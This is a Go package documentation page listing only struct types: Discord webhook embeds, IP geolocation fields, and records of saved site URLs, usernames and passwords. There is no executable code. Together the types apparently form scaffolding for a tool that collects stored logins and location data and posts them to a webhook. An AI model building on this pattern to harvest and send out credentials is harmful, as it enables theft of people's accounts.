structs

package
v0.0.0-...-146726b Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Apr 8, 2021 License: MIT Imports: 0 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

This section is empty.

Functions

This section is empty.

Types

type EmbedAuthor

type EmbedAuthor struct {
	Name string `json:"name,omitempty"`
}

type EmbedField

type EmbedField struct {
	Name   string `json:"name,omitempty"`
	Value  string `json:"value,omitempty"`
	Inline bool   `json:"inline,omitempty"`
}

type EmbedFooter

type EmbedFooter struct {
	Text    string `json:"text,omitempty"`
	IconURL string `json:"icon_url,omitempty"`
}

type EmbedImage

type EmbedImage struct {
	URL string `json:"url,omitempty"`
}

type EmbedThumbnail

type EmbedThumbnail struct {
	URL string `json:"url,omitempty"`
}

type IPStruct

type IPStruct struct {
	Country     string  `json:"country_name"`
	CountryCode string  `json:"country_code"`
	City        string  `json:"city"`
	IP          string  `json:"ip"`
	ISP         string  `json:"isp"`
	Latitude    float64 `json:"latitude"`
	Longitude   float64 `json:"longitude"`
	Region      string  `json:"region"`
}

type LoggedLogins

type LoggedLogins struct {
	Logged []LoginStruct
}

type LoginStruct

type LoginStruct struct {
	Url      string
	Username string
	Password string
}

type WebhookData

type WebhookData struct {
	AvatarURL string          `json:"avatar_url,omitempty"`
	Embeds    []*WebhookEmbed `json:"embeds,omitempty"`
	Username  string          `json:"username,omitempty"`
}

type WebhookEmbed

type WebhookEmbed struct {
	URL       string          `json:"url,omitempty"`
	Timestamp string          `json:"timestamp,omitempty"`
	Colour    int             `json:"color,omitempty"`
	Footer    *EmbedFooter    `json:"footer,omitempty"`
	Image     *EmbedImage     `json:"image,omitempty"`
	Thumbnail *EmbedThumbnail `json:"thumbnail,omitempty"`
	Author    *EmbedAuthor    `json:"author,omitempty"`
	Fields    []*EmbedField   `json:"fields,omitempty"`
}

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL